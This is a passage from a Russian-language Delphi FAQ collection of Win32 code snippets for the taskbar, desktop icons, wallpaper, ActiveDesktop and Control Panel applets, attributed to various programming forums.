      Wnd := FindWindow('Shell_TrayWnd', nil);
      Wnd := FindWindowEx(Wnd, HWND(0), 'Button', nil);
      {прячем кнопку "Пуск"}
      ShowWindow(Wnd, sw_hide);
  end;
  3:
  begin
    Wnd := FindWindow('Shell_TrayWnd', nil);
    Wnd := FindWindowEx(Wnd, HWND(0), 'TrayNotifyWnd', nil);
    { прячем "Панель задач" }
    ShowWindow(Wnd, sw_hide);
  end;
end;

end.

Взято с http://delphiworld.narod.ru


Получение информации о TaskBar

Для вывода информации мы будет использовать компонент TStringGrid с закладки Additional.
Сначала вам нужно будет после

var
  Form1: TForm1;

добавить следующий код:

AppBarData : TAppBarData;
bAlwaysOnTop, bAutoHide : boolean;
Clrect,rect : TRect;
Edge: UInt;

затем после слова Implementation пишем

procedure DetectTaskBar;
begin
  AppBarData.hWnd := FindWindow('Shell_TrayWnd', nil);
  AppBarData.cbSize := sizeof(AppBarData);
  bAlwaysOnTop := (SHAppBarMessage(ABM_GETSTATE, AppBardata)
  and ABS_ALWAYSONTOP) <> 0;
  bAutoHide := (SHAppBarMessage(ABM_GETSTATE, AppBardata)
  and ABS_AUTOHIDE) <> 0;
  GetClientRect(AppBarData.hWnd, Clrect);
  GetWindowRect(AppBarData.hwnd, rect);
  if rect.top > 0 then
    Edge := ABE_BOTTOM
  else
  if rect.bottom < screen.height then
    Edge:=ABE_TOP
  else
  if rect.right < screen.width then
    Edge:=ABE_LEFT
  else
    Edge:=ABE_RIGHT;
end;

и осталось описать самое главное - обработчик нажатия кнопки:

procedure TForm1.Button1Click(Sender: TObject);
begin
  DetectTaskBar;

  StringGrid1.Cells[0,0] := 'Выше других окон';
  StringGrid1.Cells[0,1] := 'Автоматически убирать с экрана';
  StringGrid1.Cells[0,2] := 'Клиентская область';
  StringGrid1.Cells[0,3] := 'Оконная область';
  StringGrid1.Cells[0,4] := 'Края';

  if bAlwaysOnTop = true then
    StringGrid1.Cells[1,0] := 'true'
  else
    StringGrid1.Cells[1,0] := 'false';

  if bAutoHide = true then
    StringGrid1.Cells[1,1] := 'true'
  else
    StringGrid1.Cells[1,1] := 'false';

  StringGrid1.Cells[1,2] := IntToStr(Clrect.Left)+':'+IntToStr(Clrect.Top) +
  ':'+IntToStr(Clrect.Right)+':'+IntToStr(Clrect.Bottom);

  StringGrid1.Cells[1,3] := IntToStr(rect.Left)+':'+IntToStr(rect.Top) +
  ':'+IntToStr(rect.Right)+':'+IntToStr(rect.Bottom);

  StringGrid1.Cells[1,4] := IntToStr(Edge);
end;

Взято с http://delphiworld.narod.ru


Рабочий стол

Cодержание раздела:

Как обновить рабочий стол?
Как показать окно свойств экрана?
Как проверить, включён ли ActiveDesktop?
Как установить цвет фона иконок на рабочем столе, либо сделать у них прозрачный фон?
Как создать лупу для рабочего стола?
Как скрыть / показать иконки на рабочем столе?
Как выровнять иконки на рабочем столе к левому краю?
Как сменить обои на рабочем столе? Updated!
Как установить обои в формате jpeg
Определить размера рабочей области Desktop'а New!
Как скрыть/показать ActiveDesktop? New!
Как получить и изменить координаты иконок на столе? New!

См. также статьи в других разделах:
Как показать Open With диалог?
Как показать File Properties dialog?
Вывод надписи на рабочий стол
Заполняет Canvas рисунком с рабочего стола, учитывая координаты
Как рисовать линии (или ещё что-нибудь) на экране (TDesktopCanvas)

См. также другие разделы:
Видеокарта, Монитор


Как обновить рабочий стол?

procedure RefreshDesktop;
var
  c1 : cardinal;
begin
c1:=FindWindowEx(FindWindowEx(FindWindow('Progman','Program Manager'),,'SHELLDLL_DefView',''),0,'SysListView32','');
PostMessage(c1,WM_KEYDOWN,VK_F5,0);
PostMessage(c1,WM_KEYUP,VK_F5,1 shl 31);
end;

Автор ответа: neutrino
Взято с Vingrad.ru http://forum.vingrad.ru

winexec(Pchar( 'rundll32 user,repaintscreen' ),sw_Show);

Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru

procedure TForm1.Button1Click(Sender: TObject);
begin
  SendMessage(FindWindow('Progman', 'Program Manager'),
              WM_COMMAND,
              $A065,
              0);
end;

Взято из http://forum.sources.ru


Как показать окно свойств экрана?

Для этого воспользуемся 'Rundll32.exe' и запустим её в 'shellexecute'. Не забудьте добавить 'shellapi' в Ваш список uses.

function GetSystemDir: TFileName;
var
  SysDir: array[0..MAX_PATH - 1] of char;
begin
  SetString(Result, SysDir, GetSystemDirectory(SysDir, MAX_PATH));
  if Result = '' then
    raise Exception.Create(SysErrorMessage(GetLastError));
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  x: Tfilename;
begin
  x := getsystemdir;
  ShellExecute(Form11.Handle, 'open', Pchar('rundll32.exe'), 'shell32.dll,Control_RunDLL Desk.cpl,@0,3', Pchar(X), SW_normal);
end;

//getsystemdir это функция, которая совместима со всеми версиями windows.

Взято из http://forum.sources.ru


Как проверить, включён ли ActiveDesktop?

function IsActiveDeskTopOn: Boolean;
var
  h: hWnd;
begin
  h := FindWindow('Progman', nil);
  h := FindWindowEx(h, 0,
        'SHELLDLL_DefView', nil);
  h := FindWindowEx(h, 0,
       'Internet Explorer_Server', nil);
  Result := h <> 0;
end;

Взято из http://forum.sources.ru


Как установить цвет фона иконок на рабочем столе, либо сделать у них прозрачный фон?

Для этого нужно найти окно "SysListView32" (которое является списком, который содержит иконки рабочего стола). Сперва будем искать главное родительское окно "Progman", которое содержит дочернее окно "SHELLDLL_DefView" , которое в свою очередь имеет дочернее окно "SysListView32". Для этого можно воспользоваться API функцией FindWindow to. Когда Мы получим дескриптор окна "SysListView32", то можно будет воспользоваться макросами ListView_SetTextBkColor и ListView_SetTextColor для установки желаемого цвета.

Ниже приведена процедура, которая делает всё вышеперечисленное. Если параметр Trans равен true, то будет установлен прозрачный фон, иначе цвет фона будет равен Background.

unit DeskIcons;

interface
uses Graphics; // Будет использоваться TColor

procedure SetDesktopIconColor(Forground, Background: TColor; Trans: Boolean);
procedure SetDefaultIconColors;

implementation
uses Windows, CommCtrl; // будут использоваться HWND и ListView_XXXXX

procedure SetDesktopIconColor(Forground, Background: TColor; Trans: Boolean);

var
  Window: HWND;
begin
  // Находим нужное окно в три этапа
  Window := FindWindow('Progman', 'Program Manager');
  // Используем FindWindowEx для нахождения дочернего окна
  Window := FindWindowEx(Window, HWND(nil), 'SHELLDLL_DefView', '');
  // SysListView32, это список с иконками на рабочем столе
  Window := FindWindowEx(Window, HWND(nil), 'SysListView32', '');
  // Используем макрос для очистки цвета фона
  if Trans then
    ListView_SetTextBkColor(Window, $ffffffff) // фоновый цвет
  else
    ListView_SetTextBkColor(Window, Background); // фоновый цвет
  ListView_SetTextColor(Window, Forground); // передний цвет
  // теперь перерисовываем иконки
  ListView_RedrawItems(Window, 0, ListView_GetItemCount(Window) - 1);
  UpdateWindow(Window);   // даём команду "немедленно перерисовать"
end;

procedure SetDefaultIconColors;
{ Эта процедура устанавливает цвета, которые заданы в
  windows по умолчанию }
var
  Kind: Integer;
  Color: TColor;
begin
  Kind := COLOR_DESKTOP;
  Color := GetSysColor(COLOR_DESKTOP);
  SetSysColors(1, Kind, Color);
end;

end.

Взято из http://forum.sources.ru


Как создать лупу для рабочего стола?

Автор: Zarko Gajic

// переменные
var Srect,Drect,PosForme:TRect;
    iWidth,iHeight,DmX,DmY:Integer;
    iTmpX,iTmpY:Real;
    C:TCanvas;
    Kursor:TPoint;
// Увеличиваем экран, если приложение не свёрнуто в иконку
If not IsIconic(Application.Handle) then begin
// Получаем координаты курсора
  GetCursorPos(Kursor);

// PosForm представляет прямоугольник с
// координатами Form (image control).
  PosForme:=Rect(Form1.Left,
                 Form1.Top,
                 Form1.Left+Form1.Width,
                 Form1.Top+Form1.Height);

//Показываем magnified screen
//если курсор за пределами формы.
  If not PtInRect(PosForme,Kursor) then begin

// Далее код можно использовать для увеличения выбранной
// части экрана. С небольшими модификациями его можно
// использовать для уменьшения
// экрана
  iWidth:=Image1.Width;
  iHeight:=Image1.Height;
  Drect:=Bounds(0,0,iWidth,iHeight);
  iTmpX:=iWidth / (Slider.Position * 4);
  iTmpY:=iHeight / (Slider.Position * 4);
  Srect:=

   Rect(Kursor.x,Kursor.y,Kursor.x,Kursor.y);
  InflateRect(Srect,Round(iTmpX),Round(iTmpY));

//Получаем обработчик(handle) окна рабочего стола.
  C:=TCanvas.Create;
  try
   C.Handle:=GetDC(GetDesktopWindow);
//Передаём часть изображения окна в TImage.
   Image1.Canvas.CopyRect(Drect,C,Srect);
  finally
   C.Free;
  end;

  end;

// Обязательно обрабатываем все сообщения Windows.
  Application.ProcessMessages;

end; // IsIconic

Взято из http://forum.sources.ru


Как скрыть / показать иконки на рабочем столе?

procedure TForm1.Button1Click(Sender: TObject);
begin
  // скрыть иконки
  ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  // показать иконки
  ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
end;

procedure ShowDesktop(const YesNo : boolean);
var h : THandle;
begin
 h := FindWindow('ProgMan', nil);
 h := GetWindow(h, GW_CHILD);
 if YesNo = True then
   ShowWindow(h, SW_SHOW)
 else
   ShowWindow(h, SW_HIDE);
end;

{Использование:}
{Скрыть иконки на рабочем столе}
ShowDesktop(False);
{Показать иконки на рабочем столе}
ShowDesktop(true);

Взято из http://forum.sources.ru


Как выровнять иконки на рабочем столе к левому краю?

Для начала необходимо получить дескриптор рабочего стола, который представляет из себя обычный ListView.
Пример:

function GetDesktopListViewHandle: THandle;
var
S: String;
begin
Result := FindWindow('ProgMan', nil);
Result := GetWindow(Result, GW_CHILD);
Result := GetWindow(Result, GW_CHILD);
SetLength(S, 40);
GetClassName(Result, PChar(S), 39);
if PChar(S) <> 'SysListView32' then Result := 0;
end;

Как только дескриптор рабочего стола получен, можно с ним работать при помощи обычных API функций (через юнит CommCtrl). См. сообщения LVM_xxxx в хелпе по Win32.

Следующая строчка кода выравнивает иконки на рабочем столе к левому краю:

SendMessage(GetDesktopListViewHandle,LVM_ALIGN,LVA_ALIGNLEFT,0);

Взято из http://forum.sources.ru


Как сменить обои на рабочем столе?

В принципе, все настройки на фоновый рисунок хранятся в реестре. Поэтому надо сначала скопировать картинку в какое-нибудь место (лучше в каталог Виндов) на случай удаления или переноса исходного файла. Информация по обоям хранится в разделе HKEY_CURRENT_USER\Control Panel\Desktop в параметрах TileWallpaper (если 1 - рисунок размножен, 0 - в центре), Wallpaper - путь к файлу обоев (gif, bmp, jpg), WallpaperStyle - если 2, то обои будут растянуты (отсутствует в 95 винде).
ПОсле установки всех занчений обновляешь рабочий стои и наслаждаешься эффектом.

Автор ответа: Garik
Взято с Vingrad.ru http://forum.vingrad.ru

Смена обоев только на время текущего сеанса, после перезагрузки обои восстановятся:

var Wallpaper : string;
begin
  Wallpaper := 'C:\windows\ACD Wallpaper.bmp';
  SystemParametersInfo (SPI_SETDESKWALLPAPER, 0, PChar(Wallpaper), SPIF_SENDCHANGE)
end;

Автор: p0s0l

program wallpapr;
uses Registry, WinProcs;

procedure SetWallpaper(sWallpaperBMPPath:String;bTile:boolean);
var
  reg : TRegIniFile;
begin
// Изменяем ключи реестра
// HKEY_CURRENT_USER
//   Control Panel\Desktop
//     TileWallpaper (REG_SZ)
//     Wallpaper (REG_SZ)
  reg := TRegIniFile.Create('Control Panel\Desktop' );
  with reg do begin
    WriteString( '', 'Wallpaper',
      sWallpaperBMPPath );
    if( bTile )then
    begin
      WriteString('', 'TileWallpaper', '1' );
    end else begin
      WriteString('', 'TileWallpaper', '0' );
    end;
  end;
  reg.Free;
// Оповещаем всех о том, что мы
// изменили системные настройки
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil,
  {Эта строка - продолжение предыдущей}SPIF_SENDWININICHANGE );
end;

 // пример установки WallPaper по центру рабочего стола
 SetWallpaper('c:\winnt\winnt.bmp', False );
//Эту строчку надо написать где-то в программе.

Взято из http://forum.sources.ru

var
  Reg: TRegIniFile;
begin
  Reg := TRegIniFile.Create('Control Panel');
  Reg.WriteString('desktop', 'Wallpaper', 'c:\windows\mybmp.bmp');
  Reg.WriteString('desktop', 'TileWallpaper', '1');
  Reg.Free;
  SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, nil, SPIF_SENDWININICHANGE);
end

Взято из http://forum.sources.ru


Как установить обои в формате jpeg?

Как установить обои в формате jpeg.
SystemParametersInfo только для bmp.

uses
  ComObj, ShlObj;

procedure ChangeActiveWallpaper;
const
  CLSID_ActiveDesktop: TGUID = '{75048700-EF1F-11D0-9888-006097DEACF9}';
var
  ActiveDesktop: IActiveDesktop;
begin
  ActiveDesktop := CreateComObject(CLSID_ActiveDesktop) as IActiveDesktop;
  ActiveDesktop.SetWallpaper('c:\windows\forest.jpg', 0);
  ActiveDesktop.ApplyChanges(AD_APPLY_ALL or AD_APPLY_FORCE);
end;

Автор: Vasya2000
Взято из http://forum.sources.ru


Определить размера рабочей области Desktop'а

Иногда важно знать, какую часть экрана можно занимать, не перекрывая тем самым такие окна, как TaskBar. Эта программа разворачивает окно на всю рабочую область Desktop'а.

procedure TForm1.Button1Click(Sender: TObject);
var
  r : TRect;
begin
  SystemParametersInfo(SPI_GETWORKAREA, 0, Addr(r), 0);
  Form1.Left := r.Left;
  Form1.Top := r.Top;
  Form1.Width := r.Right - r.Left;
  Form1.Height := r.Bottom - r.Top;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как скрыть/показать ActiveDesktop?

uses
  ComObj, ShlObj, ActiveX;

procedure EnableActiveDesktop(bValue: Boolean);
const
  CLSID_ActiveDesktop: TGUID = (D1: $75048700; D2: $EF1F; D3: $11D0;
    D4: ($98, $88, $00, $60, $97, $DE, $AC, $F9));
var
  MyObject: IUnknown;
  ActiveDesk: IActiveDesktop;
  twpoComponentOpt: TComponentsOpt;
begin
  MyObject := CreateComObject(CLSID_ActiveDesktop);
  ActiveDesk := MyObject as IActiveDesktop;
  with twpoComponentOpt do
  begin
    ZeroMemory(@twpoComponentOpt, SizeOf(TComponentsOpt));
    dwSize := SizeOf(twpoComponentOpt);
    fEnableComponents := bValue;
    // fActiveDesktop := True;
  end;
  ActiveDesk.SetDesktopItemOptions(twpoComponentOpt, 0);
  ActiveDesk.ApplyChanges(AD_APPLY_ALL);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить и изменить координаты иконок на столе?

// For Win9x:
//-------------------------------------------

uses
  CommCtrl,
  IPCThrd; (from your Delphi\Demos\Ipcdemos directory)

function GetDesktopListViewHandle: THandle;
var
  S: String;
begin
  Result := FindWindow('ProgMan', nil);
  Result := GetWindow(Result, GW_CHILD);
  Result := GetWindow(Result, GW_CHILD);
  SetLength(S, 40);
  GetClassName(Result, PChar(S), 39);
  if PChar(S) <> 'SysListView32' then Result := 0;
end;

procedure TForm1.Button1Click(Sender: TObject);
 type
   PInfo = ^TInfo;
   TInfo = packed record
     infoPoint: TPoint;
     infoText: array[0..255] of Char;
     infoItem: TLVItem;
     infoFindInfo: TLVFindInfo;
   end;
var
   r : TRect;
   hWnd : THandle;
   i, iCount : Integer;

   Info: PInfo;
   SharedMem: TSharedMem;
begin
  hWnd := GetDesktopWindow();
  GetWindowRect(hWnd,r);
  Memo.Lines.Add('Bottom: ' +  IntToStr(r.Bottom));
  Memo.Lines.Add('Right: ' + IntToStr(r.Right));

  hWnd := GetDesktopListViewHandle;
  iCount := ListView_GetItemCount(hWnd);
  Memo.Lines.Add('# Icons: ' + IntToStr(iCount));

  SharedMem := TSharedMem.Create('', SizeOf(TInfo));
  Info := SharedMem.Buffer;

   with Info^ do
   try
     infoItem.pszText := infoText;
     infoItem.cchTextMax := 255;
     infoItem.mask := LVIF_TEXT;
     try
       begin
         for i := 0 to iCount - 1 do
         begin
           infoItem.iItem := i;
           try
             ListView_GetItem(hWnd, infoItem);
             ListView_GetItemPosition(hWnd, I, infoPoint);
             Memo.Lines.Add('Icon: ' + infoText);
             Memo.Lines.Add('   X: ' + IntToStr(infoPoint.X));
             Memo.Lines.Add('   Y: ' + IntToStr(infoPoint.Y));
           except
           end;
         end;
       end;
     finally
     end;
   finally
     SharedMem.Free;
   end;
end;

// For NT, Win2k, XP:
//-------------------------------------------
// Unit to save/restore the positions of desktop icons to/from the registry)

unit dipsdef;

interface

uses
  Windows, CommCtrl;

const
  RegSubKeyName = 'Software\LVT\Desktop Item Position Saver';

procedure RestoreDesktopItemPositions;
procedure SaveDesktopItemPositions;

implementation

uses
  uvirtalloc, registry;

procedure SaveListItemPosition(LVH : THandle; RemoteAddr : Pointer);
var
  lvi : TLVITEM;
  lenlvi : integer;
  nb : integer;
  buffer : array [0..MAX_PATH] of char;
  Base : Pointer;
  Base2 : PByte;
  i, ItemsCount : integer;
  Apoint : TPoint;
  key : HKEY;
  Dummy : integer;
begin
  ItemsCount := SendMessage(LVH, LVM_GETITEMCOUNT, 0, 0);
  Base := RemoteAddr;
  lenlvi := SizeOf(lvi);
  FillChar(lvi, lenlvi, 0);
  lvi.cchTextMax := 255;
  lvi.pszText := Base;
  inc(lvi.pszText, lenlvi);

  WriteToRemoteBuffer(@lvi, Base, 255);

  Base2 := Base;
  inc(Base2, Lenlvi);

  RegDeleteKey(HKEY_CURRENT_USER, RegSubKeyName);

  RegCreateKeyEx(HKEY_CURRENT_USER,
    PChar(RegSUbKeyName),
    0,
    nil,
    REG_OPTION_NON_VOLATILE,
    KEY_SET_VALUE,
    nil,
    key,
    nil);

  for i := 0 to ItemsCount - 1 do
  begin
    nb := SendMessage(LVH, LVM_GETITEMTEXT, i, LParam(Base));

    ReadRemoteBuffer(Base2, @buffer, nb + 1);
    FillChar(Apoint, SizeOf(Apoint), 0);

    WriteToRemoteBuffer(@APoint, Base2, SizeOf(Apoint));
    SendMessage(LVH, LVM_GETITEMPOSITION, i, LParam(Base) + lenlvi);

    ReadRemoteBuffer(Base2, @Apoint, SizeOf(Apoint));
    RegSetValueEx(key, @buffer, 0, REG_BINARY, @Apoint, SizeOf(APoint));
  end;
  RegCloseKey(key);
end;

procedure RestoreListItemPosition(LVH : THandle; RemoteAddr : Pointer);
type
  TInfo = packed record
    lvfi : TLVFindInfo;
    Name : array [0..MAX_PATH] of char;
  end;
var
  SaveStyle : Dword;
  Base : Pointer;
  Apoint : TPoint;
  key : HKey;
  idx : DWord;
  info : TInfo;
  atype : Dword;
  cbname, cbData : Dword;
  itemidx : DWord;
begin
  SaveStyle := GetWindowLong(LVH, GWL_STYLE);
  if (SaveStyle and LVS_AUTOARRANGE) = LVS_AUTOARRANGE then
    SetWindowLong(LVH, GWL_STYLE, SaveStyle xor LVS_AUTOARRANGE);

  RegOpenKeyEx(HKEY_CURRENT_USER, RegSubKeyName, 0, KEY_QUERY_VALUE, key);

  FillChar(info, SizeOf(info), 0);
  Base := RemoteAddr;

  idx := 0;
  cbname := MAX_PATH;
  cbdata := SizeOf(APoint);

  while (RegEnumValue(key, idx, info.Name, cbname, nil, @atype, @Apoint, @cbData) <>
    ERROR_NO_MORE_ITEMS) do
  begin
    if (atype = REG_BINARY) and (cbData = SizeOf(Apoint)) then
    begin
      info.lvfi.flags := LVFI_STRING;
      info.lvfi.psz := Base;
      inc(info.lvfi.psz, SizeOf(info.lvfi));
      WriteToRemoteBuffer(@info, Base, SizeOf(info.lvfi) + cbname + 1);
      itemidx := SendMessage(LVH, LVM_FINDITEM, - 1, LParam(Base));
      if itemidx > -1 then
        SendMessage(LVH, LVM_SETITEMPOSITION, itemidx, MakeLong(Apoint.x, Apoint.y));
    end;
    inc(idx);
    cbname := MAX_PATH;
    cbdata := SizeOf(APoint);
  end;
  RegCloseKey(key);

  SetWindowLong(LVH, GWL_STYLE, SaveStyle);
end;

function GetSysListView32: THandle;
begin
  Result := FindWindow('Progman', nil);
  Result := FindWindowEx(Result, 0, nil, nil);
  Result := FindWindowEx(Result, 0, nil, nil);
end;

procedure SaveDesktopItemPositions;
var
  pid : integer;
  rembuffer : PByte;
  hTarget : THandle;
begin
  hTarget := GetSysListView32;
  GetWindowThreadProcessId(hTarget, @pid);
  if (hTarget = 0) or (pid = 0) then
    Exit;
  rembuffer := CreateRemoteBuffer(pid, $FFF);
  if Assigned(rembuffer) then
  begin
    SaveListItemPosition(hTarget, rembuffer);
    DestroyRemoteBuffer;
  end;
end;

procedure RestoreDesktopItemPositions;
var
  hTarget : THandle;
  pid : DWord;
  rembuffer : PByte;
begin
  hTarget := GetSysListView32;
  GetWindowThreadProcessId(hTarget, @pid);
  if (hTarget = 0) or (pid = 0) then
    Exit;
  rembuffer := CreateRemoteBuffer(pid, $FFF);
  if Assigned(rembuffer) then
  begin
    RestoreListItemPosition(hTarget, rembuffer);
    DestroyRemoteBuffer;
  end;
end;

end.

{----------------------------------------------------------}

unit uvirtalloc;

interface

uses
  Windows, SysUtils;

function CreateRemoteBuffer(Pid : DWord; Size: Dword): PByte;
procedure WriteToRemoteBuffer(Source : PByte;
                               Dest : PByte;
                               Count : Dword);

function ReadRemoteBuffer (Source : PByte;
                            Dest : PByte;
                            Count : Dword): Dword;

procedure DestroyRemoteBuffer;

implementation

var
  hProcess : THandle;
  RemoteBufferAddr: PByte;
  BuffSize : DWord;

function CreateRemoteBuffer;
begin
  RemoteBufferAddr := nil;
  hProcess := OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
  if (hProcess = 0) then
    RaiseLastWin32Error;

  Result := VirtualAllocEx(hProcess,
                            nil,
                            Size,
                            MEM_COMMIT,
                            PAGE_EXECUTE_READWRITE);

  Win32Check(Result <> nil);
  RemoteBufferAddr := Result;
  BuffSize := Size;
end;

procedure WriteToRemoteBuffer;
var
  BytesWritten: Dword;
begin
 if hProcess = 0 then
   Exit;
 Win32Check(WriteProcessMemory(hProcess,
                                Dest,
                                Source,
                                Count,
                                BytesWritten));
end;

function ReadRemoteBuffer;
begin
  Result := 0;
  if hProcess = 0 then
     Exit;

  Win32Check(ReadProcessMemory(hProcess,
                                Source,
                                Dest ,
                                Count,
                                Result));
end;

procedure DestroyRemoteBuffer;
begin
   if (hProcess > 0)  then
     begin
       if Assigned(RemoteBufferAddr) then
         Win32Check(Boolean(VirtualFreeEx(hProcess,
                                          RemoteBufferAddr,
                                          0,
                                          MEM_RELEASE)));
       CloseHandle(hProcess);
     end;
end;

end.

{----------------------------------------------------------}

Other Source for NT, Win2k, XP only:
http://www.luckie-online.de/programme/luckiedipssfx.exe
(Complete demo to save/restore the positions of desktop icons, nonVCL)
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Панель управления

Cодержание раздела:

Свои апплеты в панели управления.
Как запустить любой апплет панели управления?


Свои апплеты в панели управления.

Компилятор: Delphi 3.x
Источник: www.borland.com.

Примечание Vit: Более поздние версии Дельфи имеют встроенные средства для создания апплетов - см. New Project->Other->Control Panel...

Апплеты в панели управления, это обычные DLL, имеющие расширение .cpl (Control Panel Library) и располагающиеся в системной директории Windows. В свою очередь, в каждом файле cpl может храниться несколько апплетов. Cpl имеет единственную функцию точки входа CPlApplet(), через которую поступают все сообщения от панели управления.
Давайте рассмотрим сообщения, с которыми панель управления вызывает функцию CPlApplet():
CPL_INIT - сообщение, которым CPlApplet() вызывается первый раз (инициализация). Возвращаем TRUE для продолжения процесса загрузки.
CPL_GETCOUNT - этим сообщением панель управления запрашивает количество поддерживаемых апплетов в файле cpl.
CPL_INQUIRE - панель управления запрашивает информацию о каждом апплете, хранящемся в файле cpl. При этом, параметр lParam1 будет содержать номер апплета, о котором панель управления хочет получить информацию, lParam2 будет указывать на структуру TCplInfo. Поле idIcon в структуре TClpInfo должно содержать идентификатор (id) ресурса иконки, которая будет отображаться в панели управления, а поля idName и idInfo должны содержать идентификаторы строковых ресурсов для имени и описания. lData может содержать данные, которые будут использоваться апплетом.
CPL_SELECT - это сообщение посылается апплету, если его иконка была выбрана пользователем. При этом lParam1 содержит номер выбранного апплета, а lParam2 содержит значение lData, определённое для данного апплета.
CPL_DBLCLK - это сообщение будет послано, если по иконке апплета сделать двойной щелчёк. lParam1 будет содержать номер апплета, а lParam2 будет содержать значение lData, определённое для данного апплета. При поступление это сообщения апплет должен как-то показать себя, в частности отобразить своё диалоговое окно.
CPL_STOP - Посылается каждому апплету, когда панель управления закрывается. lParam1 содержит номер апплета, а lParam2 содержит значение lData, определённое для данного апплета.
CPL_EXIT - Посылается перед тем, как панель управления вызовет FreeLibrary.
CPL_NEWINQUIRE - тоже, что и CPL_INQUIRE за исключением того, что lParam2 указывает на структуру NEWCPLINFO.
Итак, приступим. Для начала необходимо создать файл ресурсов, содержащий таблицу строк для имени и описания Вашего апплета(ов), а также иконки для каждого апплета (если у Вас их будет несколько).
Пример .rc файла содержит таблицу строк, состоящую из двух строк, и указатель на файл с иконкой:
STRINGTABLE
{
1, "TestApplet"
2, "My Test Applet"
}

2 ICON C:\SOMEPATH\CHIP.ICO
Чтобы преобразовать файл .rc в .res, (который можно будет спокойно прилинковать к Вашему приложению) достаточно просто указать в командной строке полный путь до компилятора ресурсов и полный путь до файла .rc:
c:\Delphi\Bin\brcc32.exe c:\Delphi\MyRes.rc
После того, как компиляция будет завершена, то Вы получите новый файл, с таким же именем, что и .rc, только с расширением ".res".
Следующий пример, это апплет панели управления, который в ответ на сообщение CPL_DBLCLK запускает блокнот. Код можно легко изменить, чтобы отображалась форма или диалоговое окошко. Этот код можно компилировать как под платформу Win32, так и под Win16.
Чтобы скомпилировать проект, необходимо из вышеприведённого файла .rc создать два: TCPL32.RES и TCPL16.RES.

library TestCpl;

{$IFDEF WIN32}
uses
  SysUtils,
  Windows,
  Messages;
{$ELSE}
uses
  SysUtils,
  WinTypes,
  WinProcs,
  Messages;
{$ENDIF}

{$IFDEF WIN32}
 {$R TCPL32.RES}
{$ELSE}
 {$R TCPL16.RES}
{$ENDIF}

const NUM_APPLETS = 1;

{$IFDEF WIN32}
 const CPL_DYNAMIC_RES = 0;
{$ENDIF}
const CPL_INIT = 1;
const CPL_GETCOUNT = 2;
const CPL_INQUIRE = 3;
const CPL_SELECT = 4;
const CPL_DBLCLK = 5;
const CPL_STOP = 6;
const CPL_EXIT = 7;
const CPL_NEWINQUIRE = 8;
{$IFDEF WIN32}
 const CPL_STARTWPARMS = 9;
{$ENDIF}
const CPL_SETUP = 200;

{$IFNDEF WIN32}
type DWORD = LongInt;
{$ENDIF}

type TCplInfo = record
       idIcon : integer;
       idName : integer;
       idInfo : integer;
       lData : LongInt;
     end;
     PCplInfo = ^TCplInfo;

type TNewCplInfoA = record
       dwSize : DWORD;
       dwFlags : DWORD;
       dwHelpContext : DWORD;
       lData : LongInt;
       IconH : HIcon;
       szName : array [0..31] of char;
       szInfo : array [0..63] of char;
       szHelpFile : array [0..127] of char;
     end;
     PNewCplInfoA = ^TNewCplInfoA;

{$IFDEF WIN32}
type TNewCplInfoW = record
       dwSize : DWORD;
       dwFlags : DWORD;
       dwHelpContext : DWORD;
       lData : LongInt;
       IconH : HIcon;
       szName : array [0..31] of WChar;
       szInfo : array [0..63] of WChar;
       szHelpFile : array [0..127] of WChar;
     end;
     PNewCplInfoW = ^TNewCplInfoW;
{$ENDIF}

type TNewCplInfo = TNewCplInfoA;
type PNewCplInfo = ^TNewCplInfoA;

function CPlApplet(hWndCPL : hWnd;
                   iMEssage : integer;
                   lParam1 : longint;
                   lParam2 : longint) : LongInt
{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
begin
  case iMessage of
    CPL_INIT : begin
      Result := 1;
      exit;
    end;
    CPL_GetCount : begin
      Result := NUM_APPLETS;
      exit;
    end;
    CPL_Inquire : begin
      PCplInfo(lParam2)^.idIcon := 2;
      PCplInfo(lParam2)^.idName := 1;
      PCplInfo(lParam2)^.idInfo := 2;
      PCplInfo(lParam2)^.lData := 0;
      Result := 1;
      exit;
    end;
    CPL_NewInquire : begin
      PNewCplInfo(lParam2)^.dwSize := sizeof(TNewCplInfo);
      PNewCplInfo(lParam2)^.dwHelpContext := 0;
      PNewCplInfo(lParam2)^.lData := 0;
      PNewCplInfo(lParam2)^.IconH := LoadIcon(hInstance,
                                              MakeIntResource(2));
      lStrCpy(@PNewCplInfo(lParam2)^.szName, 'TestCPL');
      lStrCpy(PNewCplInfo(lParam2)^.szInfo, 'My Test CPL');
      PNewCplInfo(lParam2)^.szHelpFile[0] := #0;
      Result := 1;
      exit;
    end;
    CPL_SELECT : begin
      Result := 0;
      exit;
    end;
    CPL_DBLCLK : begin
        WinExec('Notepad.exe', SW_SHOWNORMAL);
      Result := 1;
      exit;
    end;
    CPL_STOP : begin
      Result := 0;
      exit;
    end;
    CPL_EXIT : begin
      Result := 0;
      exit;
    end else begin
      Result := 0;
      exit;
    end;
  end;
end;

exports CPlApplet name 'CPlApplet';

begin
end.
Взято из http://forum.sources.ru


Как запустить любой апплет панели управления?

Апплеты в панели управления можно запускать при помощи функции WinExec, запуская control.exe и передав ей в качестве параметра имя апплета. Файлы апплетов (.cpl) обычно находятся в системной директории Windows.

Некоторые из апплетов могут располагаться за пределами системной директории, поэтому их прийдётся запускать просто по имени.

procedure TForm1.Button1Click(Sender: TObject);
begin
  WinExec('C:\WINDOWS\CONTROL.EXE TIMEDATE.CPL',
       sw_ShowNormal);
  WinExec('C:\WINDOWS\CONTROL.EXE MOUSE',
       sw_ShowNormal);
  WinExec('C:\WINDOWS\CONTROL.EXE PRINTERS',
       sw_ShowNormal);
end;

Взято из http://forum.sources.ru


Буффер обмена

Cодержание раздела:

Сохранение всего содержимого буфера обмена в файл
Как работать с буфером обмена (clipboard)?
Как программно реализовать Cut, Copy и Paste?
Буфер обмена (Clipboard) и TMemoryStream
Как скопировать файл в Windows clipboard?
